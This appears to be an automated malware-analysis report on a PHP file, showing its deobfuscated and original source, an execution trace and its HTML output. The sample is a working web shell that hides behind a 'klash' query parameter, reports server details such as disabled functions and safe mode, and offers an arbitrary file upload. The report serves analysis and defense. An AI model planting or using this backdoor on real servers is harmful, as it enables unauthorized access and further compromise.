PHP Malware Analysis

wwww.php

md5: 7423fc7322d619552036f3d51db9242e

Jump to:

Screenshot


Attributes

Environment

Files

Input

URLs


Deobfuscated PHP code

<?php

if (isset($_GET["klash"])) {
    echo "<font color=#000000>[uname]" . php_uname() . "[/uname]";
    echo "<br>";
    print "\n";
    if (@ini_get("disable_functions")) {
        echo "DisablePHP=" . @ini_get("disable_functions");
    } else {
        echo "Disable PHP = NONE";
    }
    echo "<br>";
    print "\n";
    if (@ini_get("safe_mode")) {
        echo "Safe Mode = ON";
    } else {
        echo "Safe Mode = OFF";
    }
    echo "<br>";
    print "\n";
    echo "<form method=post enctype=multipart/form-data>";
    echo "<input type=file name=f><input name=v type=submit id=v value=up><br>";
    if ($_POST["v"] == up) {
        if (@copy($_FILES["f"]["tmp_name"], $_FILES["f"]["name"])) {
            echo "<b>Uploade Done</b>-->" . $_FILES["f"]["name"];
        } else {
            echo "<b>gagal";
        }
    }
}

Execution traces

data/traces/7423fc7322d619552036f3d51db9242e_trace-1676239070.2577.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:58:16.155534]
1	0	1	0.000160	393512
1	3	0	0.000244	398904	{main}	1		/var/www/html/uploads/wwww.php	0	0
1	3	1	0.000262	398904
			0.000287	314224
TRACE END   [2023-02-12 19:58:16.155690]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?php
if (isset($_GET["klash"])) {
    echo "<font color=#000000>[uname]" . php_uname() . "[/uname]";
    echo "<br>";
    print "\n";
    if (@ini_get("disable_functions")) {
        echo "DisablePHP=" . @ini_get("disable_functions");
    } else {
        echo "Disable PHP = NONE";
    }
    echo "<br>";
    print "\n";
    if (@ini_get("safe_mode")) {
        echo "Safe Mode = ON";
    } else {
        echo "Safe Mode = OFF";
    }
    echo "<br>";
    print "\n";
    echo "<form method=post enctype=multipart/form-data>";
    echo "<input type=file name=f><input name=v type=submit id=v value=up><br>";
    if ($_POST["v"] == up) {
        if (@copy($_FILES["f"]["tmp_name"], $_FILES["f"]["name"])) {
            echo "<b>Uploade Done</b>-->" . $_FILES["f"]["name"];
        } else {
            echo "<b>gagal";
        }
    }
}
?>